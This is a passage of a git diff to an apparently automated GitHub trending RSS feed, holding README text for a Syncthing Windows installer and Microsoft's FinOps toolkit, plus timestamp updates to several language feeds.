to start automatically by default, unless you deselect the <code>startatboot</code> or <code>startatlogon</code> task (see <a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#setup-tasks">Setup Tasks</a>). You can change this configuration after installation if needed. The steps for changing the configuration depends on whether you installed in administrative (all users) or non administrative (current user) installation mode.</p> <h3>Managing Automatic Startup for the Current User</h3> <p>If you installed Syncthing for the current user, Setup creates a scheduled task that starts Syncthing automatically when the current user logs on. Setup does not create this task if you deselect the <code>startatlogon</code> task (see <a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#setup-tasks">Setup Tasks</a>) when installing.</p> <p>If you did not select the <code>startatlogon</code> task when installing and want to create the task, do either of the following:</p> <ol> <li> <p>Open a command prompt or PowerShell window.</p> </li> <li> <p>Run the following command:</p> <pre><code>cscript "C:\Users\username\AppData\Local\Programs\Syncthing\SyncthingLogonTask.js" /create </code></pre> <p>(where <code>C:\Users\username\appData\Local\Programs\Syncthing</code> is the Syncthing installation folder)</p> </li> </ol> <p>OR</p> <ul> <li>Reinstall Syncthing and select the <code>startatlogon</code> task (i.e., the <strong>Start Syncthing automatically when logging on</strong> checkbox on the <strong>Select Additional Tasks</strong> page).</li> </ul> <blockquote> <p>NOTE: If you reinstall, Setup will replace the Syncthing version on the system with the one in Setup.</p> </blockquote> <p>If you want to disable the logon task instead, do the following:</p> <ol> <li> <p>Open the <strong>Task Scheduler</strong> application.</p> </li> <li> <p>Find the <strong>Start Syncthing at logon (<em>username</em>)</strong> task in the list.</p> </li> <li> <p>Right-click the task and choose <strong>Disable</strong>.</p> </li> </ol> <h3>Managing Automatic Startup for the Windows Service (All Users)</h3> <p>If you installed Syncthing for all users (i.e., the Windows service is installed), do the following:</p> <ol> <li> <p>Open the Windows <strong>Services</strong> application</p> </li> <li> <p>Double-click the Syncthing service</p> </li> <li> <p>Change <strong>Startup type</strong> to either <strong>Automatic (Delayed Start)</strong> or <strong>Manual</strong></p> </li> <li> <p>Click <strong>OK</strong></p> </li> </ol> <p>OR</p> <ul> <li>Reinstall Syncthing and select or deselect the <code>startatboot</code> task (i.e., the <strong>Start Syncthing service automatically when system boots</strong> checkbox on the <strong>Select Additional Tasks</strong> page).</li> </ul> <p>Note that these steps require administrative permissions.</p> <blockquote> <p>NOTE: If you reinstall, Setup will replace the Syncthing version on the system with the one in Setup.</p> </blockquote> <h2>Checking If Syncthing Is Running</h2> <p>To check if Syncthing is running, run the following command from a command prompt or PowerShell window:</p> <pre><code>tasklist /fi "imagename eq syncthing.exe" </code></pre> <ul> <li> <p>If the <strong>Session Name</strong> column in the output is <strong>Services</strong>, then Syncthing is running as a Windows service.</p> </li> <li> <p>If the <strong>Session Name</strong> column in the output is <strong>Console</strong>, then Syncthing is not running as a Windows service.</p> </li> </ul> <h2>Windows Firewall Rules</h2> <p>Syncthing requires permission to communicate through the Windows firewall. Creating and removing firewall rules requires administrative privileges.</p> <h3>Firewall Rule Creation</h3> <ul> <li> <p>If you run Setup in administrative (all users) installation mode, Setup creates a firewall rule for Syncthing automatically, without prompting.</p> </li> <li> <p>If you run Setup in non administrative (current user) installation mode, Setup prompts to create a firewall rule for Syncthing if it doesn't exist (requires administrative permissions).</p> </li> <li> <p>If you perform a silent install in non administrative installation mode (see <a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#setup-command-line-parameters">Setup Command Line Parameters</a>), Setup does not create a firewall rule for Syncthing, and you must create it manually.</p> </li> </ul> <h3>Creating the Firewall Rule Manually</h3> <p>If you ran Setup using non administrative installation mode and need to create a firewall rule for Syncthing manually, open a PowerShell or command prompt window and run the following command:</p> <pre><code>cscript "C:\Users\username\AppData\Local\Programs\Syncthing\SyncthingFirewallRule.js" /create </code></pre> <p>(where <code>C:\Users\username\appData\Local\Programs\Syncthing</code> is the Syncthing installation folder)</p> <h3>Firewall Rule Removal</h3> <p>If you uninstall Syncthing (see <a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#uninstalling-syncthing">Uninstalling Syncthing</a>), the same considerations as above apply, except Setup removes the Syncthing firewall rule rather than creating it:</p> <ul> <li> <p>An uninstall of an administrative (all users) installation removes the Syncthing firewall rule automatically, without prompting.</p> </li> <li> <p>An uninstall of a non administrative (current user) installation prompts to remove the Syncthing firewall rule if it exists (requires administrative permissions).</p> </li> <li> <p>A silent uninstall of a non administrative (current user) installation does not remove the Syncthing firewall rule, and you must to remove it manually. It is recommended to remove the firewall rule <em>before</em> performing a silent uninstall if uninstalling for the current user (see <a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#removing-the-firewall-rule-manually">Removing the Firewall Rule Manually</a>, below).</p> </li> </ul> <h3>Removing the Firewall Rule Manually</h3> <p>If you installed using non administrative installation mode and need to remove the Syncthing firewall rule manually, open a PowerShell or command prompt window and run the following command:</p> <pre><code>cscript "C:\Users\username\AppData\Local\Programs\Syncthing\SyncthingFirewallRule.js" /remove </code></pre> <p>(where <code>C:\Users\username\appData\Local\Programs\Syncthing</code> is the Syncthing installation folder)</p> <h2>Scripts</h2> <p>Setup installs a set of scripts to the installation folder to facilitate ease-of-use, depending on the <a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#administrative-vs-non-administrative-installation-mode">installation mode</a>, as described in the following table.</p> <table> <thead> <tr> <th>Script</th> <th>Installation Mode</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td><code>SetSyncthingConfig.js</code></td> <td>Both</td> <td>Setup uses this script to create and/or configure the Syncthing configuration file (<code>config.xml</code>)</td> </tr> <tr> <td><code>SyncthingFirewallRule.js</code></td> <td>Both</td> <td>Adds, removes, and tests for the existence of a Windows firewall rule for Syncthing (prompts for administrative permissions if required)</td> </tr> <tr> <td><code>Install-SyncthingService.ps1</code></td> <td>All users (admin)</td> <td>Setup uses this script to install or reset the Syncthing service</td> </tr> <tr> <td><code>Reset-SyncthingServiceAccountPassword.ps1</code></td> <td>All users (admin)</td> <td>Resets the Syncthing service account's password to a long, random password</td> </tr> <tr> <td><code>SyncthingLogonTask.js</code></td> <td>Current user (non admin)</td> <td>Adds or removes a scheduled task that runs the <code>StartSyncthing.js</code> script at logon</td> </tr> <tr> <td><code>StartSyncthing.js</code></td> <td>Current user (non admin)</td> <td>Starts Syncthing for the current user</td> </tr> <tr> <td><code>StopSyncthing.js</code></td> <td>Current user (non admin)</td> <td>Stops Syncthing for the current user</td> </tr> </tbody> </table> <p>To use the <code>Reset-SyncthingServiceAccountPassword.ps1</code> script, open a Windows PowerShell command prompt as administrator and run the following command:</p> <p><code>&amp; "</code><em>installdir</em><code>\Reset-SyncthingServiceAccountPassword.ps1" SyncthingServiceAcct</code></p> <p>Where:</p> <ul> <li> <p><em>inststalldir</em> is the install path; e.g.: <code>C:\Program Files\Syncthing</code></p> </li> <li> <p>The script's first parameter is the service account user name. If you changed the service account user name using the <code>/serviceaccountusername</code> parameter (not recommended), specify it as the script's first parameter.</p> </li> </ul> <h2>Finding the Syncthing Configuration Folder</h2> <p>The location of the Syncthing configuration folder depends on whether you run Setup in administrative (all users) or non administrative (current user) installation mode.</p> <ul> <li> <p>If you install for all users, the Syncthing configuration folder is in the following location:</p> <p><em>CommonAppData</em><code>\Syncthing</code></p> <p>where: <em>CommonAppData</em> is the common application data folder (e.g., <code>C:\ProgramData</code>)</p> <p>You will need administrative permissions to access the Syncthing configuration folder if you run the Windows service.</p> </li> <li> <p>If you install for the current user, the Syncthing configuration folder is in the following location:</p> <p><em>LocalAppData</em><code>\Syncthing</code></p> <p>where: <em>LocalAppData</em> is the current user's local application data folder (e.g., <code>C:\Users\UserName\AppData\Local</code>)</p> </li> </ul> <h2>Uninstalling Syncthing</h2> <p>You can uninstall Syncthing using the standard Windows application management list.</p> <p>If you installed Syncthing in non administrative installation mode (current user only), the uninstall process prompts to remove the Syncthing firewall rule if it exists (this requires administrative credentials).</p> <p>If you installed syncthing in administrative install mode, note that the uninstall process:</p> <ul> <li> <p>Removes the Syncthing firewall rule</p> </li> <li> <p>Revokes the <strong>Log on as a service</strong> user right from the local service user account</p> </li> <li> <p>Disables (but does not delete) the local service user account</p> </li> </ul> <p>Regardless of whether you installed Syncthing in administrative or non administrative mode, the uninstall process does not remove any Syncthing configuration files. If you want to remove the Syncthing configuration folder, determine its location (see <a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#finding-the-syncthing-configuration-folder">Finding the Syncthing Configuration Folder</a>) and remove it after uninstalling.</p> <h2>Silent Install and Uninstall</h2> <p>Setup supports silent (hands-free) install and uninstall mode using the <code>/silent</code> command line parameter.</p> <ul> <li> <p>See <a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#setup-command-line-parameters">Setup Command Line Parameters</a> for information about Setup's command line parameters.</p> </li> <li> <p>See the <a href="https://jrsoftware.org/ishelp/index.php?topic=uninstcmdline">Inno Setup documentation</a> for information about the uninstall program's conmmand line parameters.</p> </li> </ul> <h3>Silent Non Administrative (Current User) Installation</h3> <p>To perform an initial install (i.e., not a reinstall or upgrade) silently in non administrative (current user) installation mode, specify the <code>/currentuser</code> and <code>/silent</code> command line parameters on Setup's command line. In this mode, Setup:</p> <ul> <li> <p>Does not install the Windows service</p> </li> <li> <p>Does not create a firewall rule for Syncthing (this is because creating a firewall rule requires administrative permissions, which would cause a prompt that would prevent the silent installation from completing)</p> </li> <li> <p>Starts Syncthing for the current user if a firewall rule for Syncthing is already in place (unless you also specify <code>/nostart</code> on Setup's command line)</p> </li> </ul> <p>To ensure Syncthing works correctly after a non administrative (current user) silent installation, create the firewall rule manually (see <a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#creating-the-firewall-rule-manually">Creating the Firewall Rule Manually</a>) before starting Syncthing.</p> <p>A silent reinstall or upgrade does not require the <code>/currentuser</code> parameter.</p> <h3>Silent Administrative (All Users) Installation</h3> <p>To perform an initial install (i.e., not a reinstall or upgrade) silently in administrative installation (all users) mode, specify the <code>/allusers</code> and <code>/silent</code> command line parameters on Setup's command line. In this mode, Setup:</p> <ul> <li> <p>Automatically creates a firewall rule for Syncthing</p> </li> <li> <p>Installs the Windows service</p> </li> <li> <p>Starts the Syncthing service after installation completes (unless you also specify <code>/nostart</code> on Setup's command line)</p> </li> </ul> <p>A silent reinstall or upgrade does not require the <code>/allusers</code> parameter.</p> <h3>Silent Uninstall</h3> <p>To uninstall silently, specify <code>/silent</code> on the uninstaller's command line (the uninstaller executable is located in the <code>uninstall</code> directory inside the Syncthing installation folder).</p> <p>If you installed Syncthing for the current user, you must remove the Syncthing firewall rule manually (see <a href="https://raw.githubusercontent.com/Bill-Stewart/SyncthingWindowsSetup/main/#removing-the-firewall-rule-manually">Removing the Firewall Rule Manually</a>) before uninstalling silently.</p> <h2>Reporting Problems</h2> <p>If you encounter a problem with Setup or one of the scripts, please inform the author by filing an issue on the Issues page:</p> <p><a href="https://github.com/Bill-Stewart/SyncthingWindowsSetup/issues">https://github.com/Bill-Stewart/SyncthingWindowsSetup/issues</a></p> <p>For Syncthing support (not related to Setup or the scripts), please visit the Syncthing forum:</p> <p><a href="https://forum.syncthing.net/">https://forum.syncthing.net/</a></p> <h2>Acknowledgments</h2> <p>Special thanks to the following:</p> <ul> <li> <p>Syncthing maintainers</p> </li> <li> <p>mtkennerly for <a href="https://github.com/mtkennerly/shawl">shawl</a></p> </li> <li> <p>Jordan Russell and Martijn Laan for <a href="https://www.jrsoftware.org/isinfo.php">Inno Setup</a></p> </li> </ul> + microsoft/finops-toolkit + 2024-01-06T01:37:59Z + tag:github.com,2024-01-06:/microsoft/finops-toolkit + + <p>Starter kits, scripts, and advanced solutions to accelerate your FinOps journey in the Microsoft Cloud.</p><hr><h1>๐Ÿงฐ FinOps toolkit</h1> <p><sup><strong>Quick links:</strong></sup> &nbsp; <a href="https://aka.ms/finops/toolkit"><img src="https://img.shields.io/badge/-Read_the_docs_%E2%80%BA-090" alt="Read the docs"></a> &nbsp; <a href="https://raw.githubusercontent.com/microsoft/finops-toolkit/dev/CONTRIBUTING.md"><img src="https://img.shields.io/badge/-How_to_contribute_%E2%80%BA-609" alt="How to contribute"></a></p> <p>The FinOps toolkit is a collection of customizable ARM templates used to build and deploy various FinOps solutions that automate and extend native Microsoft Cost Management capabilities. The toolkit aims to include:</p> <ul> <li>Starter kits that help you get started with Cost Management.</li> <li>Automation scripts to streamline cost configuration and management at scale.</li> <li>Advanced solutions to facilitate building custom solutions.</li> </ul> <p>While you will find numerous ARM templates within this repository, our main focus is to build a reliable, trustworthy platform for cost analytics, insights, and optimization, which we call <strong>FinOps hubs</strong>.</p> <p>FinOps hubs are <strong>virtual command centers</strong> for leaders throughout the organization to report on, monitor, and optimize cost based on their organizational needs. FinOps hubs focus on 3 core design principles:</p> <ul> <li><strong>Be the standard</strong><br><em><sup>Strive to be the principal embodiment of the FinOps Framework.</sup></em></li> <li><strong>Built for scale</strong><br><em><sup>Designed to support the largest accounts and organizations.</sup></em></li> <li><strong>Open and extensible</strong><br><em><sup>Embrace the ecosystem and prioritize enabling the platform.</sup></em></li> </ul> <br> <h2>๐Ÿ“— Get started</h2> <p>Looking to learn more about FinOps toolkit and how to get started? See <a href="https://aka.ms/finops/toolkit">FinOps toolkit documentation โžก๏ธ</a></p> <br> <h2>๐Ÿ‘ฉโ€๐Ÿ’ป Contributing</h2> <p>There are many ways to participate. From reporting bugs and requesting features to reviewing or even making code changes. See the <a href="https://raw.githubusercontent.com/microsoft/finops-toolkit/dev/CONTRIBUTING.md">contribution guide โžก๏ธ</a></p> <br> <!-- ALL-CONTRIBUTORS-LIST:START - Do not remove or modify this section --> <!-- prettier-ignore-start --> <!-- markdownlint-disable --> <table> <tbody> <tr> <td align="center" valign="top" width="16.66%"><a href="http://about.me/flanakin"><img src="https://avatars.githubusercontent.com/u/399533?v=4?s=100" width="100px;" alt="Michael Flanakin"><br><sub><b>Michael Flanakin</b></sub></a><br><a href="https://github.com/microsoft/finops-toolkit/commits?author=flanakin" title="Code">๐Ÿ’ป</a> <a href="https://github.com/microsoft/finops-toolkit/pulls?q=is%3Apr+reviewed-by%3Aflanakin" title="Reviewed Pull Requests">๐Ÿ‘€</a> <a href="https://github.com/microsoft/finops-toolkit/commits?author=flanakin" title="Documentation">๐Ÿ“–</a></td> <td align="center" valign="top" width="16.66%"><a href="https://github.com/vijayaj4"><img src="https://avatars.githubusercontent.com/u/113932115?v=4?s=100" width="100px;" alt="vijayaj4"><br><sub><b>vijayaj4</b></sub></a><br><a href="https://github.com/microsoft/finops-toolkit/commits?author=vijayaj4" title="Code">๐Ÿ’ป</a></td> <td align="center" valign="top" width="16.66%"><a href="https://github.com/pskulkarni"><img src="https://avatars.githubusercontent.com/u/3828206?v=4?s=100" width="100px;" alt="pskulkarni"><br><sub><b>pskulkarni</b></sub></a><br><a href="https://github.com/microsoft/finops-toolkit/commits?author=pskulkarni" title="Code">๐Ÿ’ป</a></td> <td align="center" valign="top" width="16.66%"><a href="https://github.com/treymorgan"><img src="https://avatars.githubusercontent.com/u/18508457?v=4?s=100" width="100px;" alt="Trey Morgan"><br><sub><b>Trey Morgan</b></sub></a><br><a href="https://github.com/microsoft/finops-toolkit/commits?author=treymorgan" title="Code">๐Ÿ’ป</a></td> <td align="center" valign="top" width="16.66%"><a href="https://github.com/firestrand"><img src="https://avatars.githubusercontent.com/u/286161?v=4?s=100" width="100px;" alt="Travis Silvers"><br><sub><b>Travis Silvers</b></sub></a><br><a href="https://github.com/microsoft/finops-toolkit/pulls?q=is%3Apr+reviewed-by%3Afirestrand" title="Reviewed Pull Requests">๐Ÿ‘€</a></td> <td align="center" valign="top" width="16.66%"><a href="https://github.com/aromano2"><img src="https://avatars.githubusercontent.com/u/26576969?v=4?s=100" width="100px;" alt="Anthony Romano"><br><sub><b>Anthony Romano</b></sub></a><br><a href="https://github.com/microsoft/finops-toolkit/commits?author=aromano2" title="Code">๐Ÿ’ป</a> <a href="https://github.com/microsoft/finops-toolkit/pulls?q=is%3Apr+reviewed-by%3Aaromano2" title="Reviewed Pull Requests">๐Ÿ‘€</a> <a href="https://github.com/microsoft/finops-toolkit/commits?author=aromano2" title="Documentation">๐Ÿ“–</a></td> </tr> <tr> <td align="center" valign="top" width="16.66%"><a href="https://github.com/MSBrett"><img src="https://avatars.githubusercontent.com/u/24294904?v=4?s=100" width="100px;" alt="Brett Wilson"><br><sub><b>Brett Wilson</b></sub></a><br><a href="https://github.com/microsoft/finops-toolkit/commits?author=MSBrett" title="Code">๐Ÿ’ป</a> <a href="https://github.com/microsoft/finops-toolkit/pulls?q=is%3Apr+reviewed-by%3AMSBrett" title="Reviewed Pull Requests">๐Ÿ‘€</a> <a href="https://github.com/microsoft/finops-toolkit/commits?author=MSBrett" title="Documentation">๐Ÿ“–</a></td> <td align="center" valign="top" width="16.66%"><a href="https://github.com/tsilvers-ms"><img src="https://avatars.githubusercontent.com/u/92124324?v=4?s=100" width="100px;" alt="Travis Silvers"><br><sub><b>Travis Silvers</b></sub></a><br><a href="https://github.com/microsoft/finops-toolkit/pulls?q=is%3Apr+reviewed-by%3Atsilvers-ms" title="Reviewed Pull Requests">๐Ÿ‘€</a></td> <td align="center" valign="top" width="16.66%"><a href="https://github.com/ankur-ms"><img src="https://avatars.githubusercontent.com/u/118343862?v=4?s=100" width="100px;" alt="Ankur Sharma"><br><sub><b>Ankur Sharma</b></sub></a><br><a href="https://github.com/microsoft/finops-toolkit/pulls?q=is%3Apr+reviewed-by%3Aankur-ms" title="Reviewed Pull Requests">๐Ÿ‘€</a></td> <td align="center" valign="top" width="16.66%"><a href="https://github.com/sri-"><img src="https://avatars.githubusercontent.com/u/4493254?v=4?s=100" width="100px;" alt="srilatha inavolu"><br><sub><b>srilatha inavolu</b></sub></a><br><a href="https://github.com/microsoft/finops-toolkit/commits?author=sri-" title="Code">๐Ÿ’ป</a> <a href="https://github.com/microsoft/finops-toolkit/pulls?q=is%3Apr+reviewed-by%3Asri-" title="Reviewed Pull Requests">๐Ÿ‘€</a></td> <td align="center" valign="top" width="16.66%"><a href="https://github.com/lkshck"><img src="https://avatars.githubusercontent.com/u/46962619?v=4?s=100" width="100px;" alt="lkshck"><br><sub><b>lkshck</b></sub></a><br><a href="https://github.com/microsoft/finops-toolkit/issues?q=author%3Alkshck" title="Bug reports">๐Ÿ›</a></td> <td align="center" valign="top" width="16.66%"><a href="https://github.com/arthurclares"><img src="https://avatars.githubusercontent.com/u/53261392?v=4?s=100" width="100px;" alt="Arthur Clares"><br><sub><b>Arthur Clares</b></sub></a><br><a href="https://github.com/microsoft/finops-toolkit/commits?author=arthurclares" title="Code">๐Ÿ’ป</a> <a href="https://github.com/microsoft/finops-toolkit/commits?author=arthurclares" title="Documentation">๐Ÿ“–</a></td> </tr> <tr> <td align="center" valign="top" width="16.66%"><a href="https://www.seifbassem.com/"><img src="https://avatars.githubusercontent.com/u/38246040?v=4?s=100" width="100px;" alt="Seif Bassem"><br><sub><b>Seif Bassem</b></sub></a><br><a href="https://github.com/microsoft/finops-toolkit/commits?author=sebassem" title="Code">๐Ÿ’ป</a></td> <td align="center" valign="top" width="16.66%"><a href="https://github.com/slavikn84"><img src="https://avatars.githubusercontent.com/u/34075198?v=4?s=100" width="100px;" alt="Slavik N"><br><sub><b>Slavik N</b></sub></a><br><a href="https://github.com/microsoft/finops-toolkit/pulls?q=is%3Apr+reviewed-by%3Aslavikn84" title="Reviewed Pull Requests">๐Ÿ‘€</a></td> <td align="center" valign="top" width="16.66%"><a href="https://github.com/sreenav"><img src="https://avatars.githubusercontent.com/u/57934984?v=4?s=100" width="100px;" alt="SREENADHA REDDY VANKIREDDY"><br><sub><b>SREENADHA REDDY VANKIREDDY</b></sub></a><br><a href="https://github.com/microsoft/finops-toolkit/pulls?q=is%3Apr+reviewed-by%3Asreenav" title="Reviewed Pull Requests">๐Ÿ‘€</a></td> <td align="center" valign="top" width="16.66%"><a href="https://aka.ms/helderpinto"><img src="https://avatars.githubusercontent.com/u/10661605?v=4?s=100" width="100px;" alt="Hรฉlder Pinto"><br><sub><b>Hรฉlder Pinto</b></sub></a><br><a href="https://github.com/microsoft/finops-toolkit/commits?author=helderpinto" title="Documentation">๐Ÿ“–</a> <a href="https://github.com/microsoft/finops-toolkit/issues?q=author%3Ahelderpinto" title="Bug reports">๐Ÿ›</a></td> <td align="center" valign="top" width="16.66%"><a href="https://github.com/nteyan"><img src="https://avatars.githubusercontent.com/u/8894656?v=4?s=100" width="100px;" alt="Nicolas Teyan"><br><sub><b>Nicolas Teyan</b></sub></a><br><a href="https://github.com/microsoft/finops-toolkit/commits?author=nteyan" title="Code">๐Ÿ’ป</a></td> <td align="center" valign="top" width="16.66%"><a href="https://github.com/Springstone"><img src="https://avatars.githubusercontent.com/u/2101287?v=4?s=100" width="100px;" alt="Sacha Narinx"><br><sub><b>Sacha Narinx</b></sub></a><br><a href="https://github.com/microsoft/finops-toolkit/commits?author=Springstone" title="Code">๐Ÿ’ป</a> <a href="https://github.com/microsoft/finops-toolkit/pulls?q=is%3Apr+reviewed-by%3ASpringstone" title="Reviewed Pull Requests">๐Ÿ‘€</a> <a href="https://github.com/microsoft/finops-toolkit/commits?author=Springstone" title="Documentation">๐Ÿ“–</a></td> </tr> <tr> <td align="center" valign="top" width="16.66%"><a href="https://github.com/saadmsft"><img src="https://avatars.githubusercontent.com/u/66096650?v=4?s=100" width="100px;" alt="Saad Mahmood"><br><sub><b>Saad Mahmood</b></sub></a><br><a href="https://github.com/microsoft/finops-toolkit/commits?author=saadmsft" title="Code">๐Ÿ’ป</a></td> <td align="center" valign="top" width="16.66%"><a href="https://github.com/didayal-msft"><img src="https://avatars.githubusercontent.com/u/81250915?v=4?s=100" width="100px;" alt="Divyadeep Dayal"><br><sub><b>Divyadeep Dayal</b></sub></a><br><a href="https://github.com/microsoft/finops-toolkit/commits?author=didayal-msft" title="Code">๐Ÿ’ป</a></td> <td align="center" valign="top" width="16.66%"><a href="https://github.com/BenShy"><img src="https://avatars.githubusercontent.com/u/18198475?v=4?s=100" width="100px;" alt="Ben Shy"><br><sub><b>Ben Shy</b></sub></a><br><a href="https://github.com/microsoft/finops-toolkit/pulls?q=is%3Apr+reviewed-by%3ABenShy" title="Reviewed Pull Requests">๐Ÿ‘€</a></td> <td align="center" valign="top" width="16.66%"><a href="https://github.com/AdamAndersson"><img src="https://avatars.githubusercontent.com/u/31773202?v=4?s=100" width="100px;" alt="Adam Andersson"><br><sub><b>Adam Andersson</b></sub></a><br><a href="https://github.com/microsoft/finops-toolkit/issues?q=author%3AAdamAndersson" title="Bug reports">๐Ÿ›</a></td> <td align="center" valign="top" width="16.66%"><a href="https://github.com/jamelachahbar"><img src="https://avatars.githubusercontent.com/u/127963872?v=4?s=100" width="100px;" alt="jamelachahbar"><br><sub><b>jamelachahbar</b></sub></a><br><a href="https://github.com/microsoft/finops-toolkit/commits?author=jamelachahbar" title="Code">๐Ÿ’ป</a></td> <td align="center" valign="top" width="16.66%"><a href="https://github.com/ijurica"><img src="https://avatars.githubusercontent.com/u/130588473?v=4?s=100" width="100px;" alt="Irena Jurica"><br><sub><b>Irena Jurica</b></sub></a><br><a href="https://github.com/microsoft/finops-toolkit/pulls?q=is%3Apr+reviewed-by%3Aijurica" title="Reviewed Pull Requests">๐Ÿ‘€</a></td> </tr> <tr> <td align="center" valign="top" width="16.66%"><a href="https://github.com/renanalmeidjr"><img src="https://avatars.githubusercontent.com/u/41745296?v=4?s=100" width="100px;" alt="renanalmeidjr"><br><sub><b>renanalmeidjr</b></sub></a><br><a href="https://github.com/microsoft/finops-toolkit/issues?q=author%3Arenanalmeidjr" title="Bug reports">๐Ÿ›</a></td> <td align="center" valign="top" width="16.66%"><a href="https://github.com/soumyananda"><img src="https://avatars.githubusercontent.com/u/7952916?v=4?s=100" width="100px;" alt="soumyananda"><br><sub><b>soumyananda</b></sub></a><br><a href="https://github.com/microsoft/finops-toolkit/pulls?q=is%3Apr+reviewed-by%3Asoumyananda" title="Reviewed Pull Requests">๐Ÿ‘€</a></td> <td align="center" valign="top" width="16.66%"><a href="https://github.com/arjenhuitema"><img src="https://avatars.githubusercontent.com/u/15944031?v=4?s=100" width="100px;" alt="Arjen Huitema"><br><sub><b>Arjen Huitema</b></sub></a><br><a href="https://github.com/microsoft/finops-toolkit/commits?author=arjenhuitema" title="Code">๐Ÿ’ป</a></td> <td align="center" valign="top" width="16.66%"><a href="https://github.com/mutansee"><img src="https://avatars.githubusercontent.com/u/64589176?v=4?s=100" width="100px;" alt="Mubarak Tanseer"><br><sub><b>Mubarak Tanseer</b></sub></a><br><a href="https://github.com/microsoft/finops-toolkit/issues?q=author%3Amutansee" title="Bug reports">๐Ÿ›</a></td> <td align="center" valign="top" width="16.66%"><a href="https://github.com/chris-bowman"><img src="https://avatars.githubusercontent.com/u/20289947?v=4?s=100" width="100px;" alt="Chris Bowman"><br><sub><b>Chris Bowman</b></sub></a><br><a href="https://github.com/microsoft/finops-toolkit/issues?q=author%3Achris-bowman" title="Bug reports">๐Ÿ›</a></td> </tr> </tbody> </table> <!-- markdownlint-restore --> <!-- prettier-ignore-end --> <!-- ALL-CONTRIBUTORS-LIST:END --> <br> <hr> <br> <h2>โš–๏ธ Legal stuff</h2> <h3>Code of conduct</h3> <p>This project has adopted the <a href="https://opensource.microsoft.com/codeofconduct/">Microsoft Open Source Code of Conduct</a>. For more information see the <a href="https://opensource.microsoft.com/codeofconduct/faq/">Code of Conduct FAQ</a> or contact <a href="mailto:opencode@microsoft.com">opencode@microsoft.com</a> with any additional questions or comments.</p> <h3>Data collection</h3> <p>Usage of FinOps toolkit templates and modules is tracked by using a <code>defaultTelemetry</code> deployment. Microsoft may use this information to improve our products and services. You may turn off the telemetry by using the <code>enableDefaultTelemetry</code> parameter on any Bicep module. If you use these features, you must comply with applicable law, including providing appropriate notices to users of your applications together with a copy of Microsoft's privacy statement. Our privacy statement is located at <a href="https://go.microsoft.com/fwlink/?LinkID=824704">https://go.microsoft.com/fwlink/?LinkID=824704</a>. You can learn more about data collection and use in the help documentation and our privacy statement. Your use of the software operates as your consent to these practices.</p> <blockquote> <p><em><strong>NOTE:</strong> You can review what is included in this telemetry in the Azure portal by viewing the details for any <code>pid-00f1n0b5-*</code> deployments under the Deployments section of the corresponding scope (e.g., resource group, subscription).</em></p> </blockquote> <h3>Trademarks</h3> <p>This project may contain trademarks or logos for projects, products, or services. Authorized use of Microsoft trademarks or logos is subject to and must follow Microsoft's Trademark &amp; Brand Guidelines. Use of Microsoft trademarks or logos in modified versions of this project must not cause confusion or imply Microsoft sponsorship. Any use of third-party trademarks or logos are subject to those third-party's policies.</p> <h3>License</h3> <p>Copyright ยฉ Microsoft Corporation. All rights reserved.</p> <p>Licensed under the <a href="https://raw.githubusercontent.com/microsoft/finops-toolkit/dev/LICENSE">MIT license</a>.</p> \ No newline at end of file diff --git a/prisma/daily/index.xml b/prisma/daily/index.xml index 810fc280b8c..0b0b00356a6 100644 --- a/prisma/daily/index.xml +++ b/prisma/daily/index.xml @@ -1,7 +1,7 @@ GitHub Prisma Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:39:49Z + 2024-01-06T01:37:55Z Daily Trending of Prisma in GitHub \ No newline at end of file diff --git a/processing/daily/index.xml b/processing/daily/index.xml index 7c5f7effccb..e69fffbbae7 100644 --- a/processing/daily/index.xml +++ b/processing/daily/index.xml @@ -1,7 +1,14 @@ GitHub Processing Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:39:51Z + 2024-01-06T01:37:57Z Daily Trending of Processing in GitHub + + RuslanBahutski/lab_7_part_2 + 2024-01-06T01:37:57Z + tag:github.com,2024-01-06:/RuslanBahutski/lab_7_part_2 + + <p></p><hr> + \ No newline at end of file diff --git a/procfile/daily/index.xml b/procfile/daily/index.xml index 894c8d02ebd..0e81f450d9d 100644 --- a/procfile/daily/index.xml +++ b/procfile/daily/index.xml @@ -1,7 +1,7 @@ GitHub Procfile Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:40:15Z + 2024-01-06T01:38:30Z Daily Trending of Procfile in GitHub \ No newline at end of file diff --git a/proguard/daily/index.xml b/proguard/daily/index.xml index d1c108eb1c8..6115a48977a 100644 --- a/proguard/daily/index.xml +++ b/proguard/daily/index.xml @@ -1,7 +1,7 @@ GitHub Proguard Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:40:14Z + 2024-01-06T01:38:30Z Daily Trending of Proguard in GitHub \ No newline at end of file diff --git a/prolog/daily/index.xml b/prolog/daily/index.xml index bbe58c05687..f613ef46d46 100644 --- a/prolog/daily/index.xml +++ b/prolog/daily/index.xml @@ -1,7 +1,7 @@ GitHub Prolog Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:40:13Z + 2024-01-06T01:38:31Z Daily Trending of Prolog in GitHub \ No newline at end of file diff --git a/promela/daily/index.xml b/promela/daily/index.xml index 6274052dbee..a7d85690ba7 100644 --- a/promela/daily/index.xml +++ b/promela/daily/index.xml @@ -1,7 +1,7 @@ GitHub Promela Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:40:12Z + 2024-01-06T01:38:29Z Daily Trending of Promela in GitHub \ No newline at end of file diff --git a/propeller-spin/daily/index.xml b/propeller-spin/daily/index.xml index e4ad964166e..d87a8b6331c 100644 --- a/propeller-spin/daily/index.xml +++ b/propeller-spin/daily/index.xml @@ -1,7 +1,7 @@ GitHub Propeller Spin Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 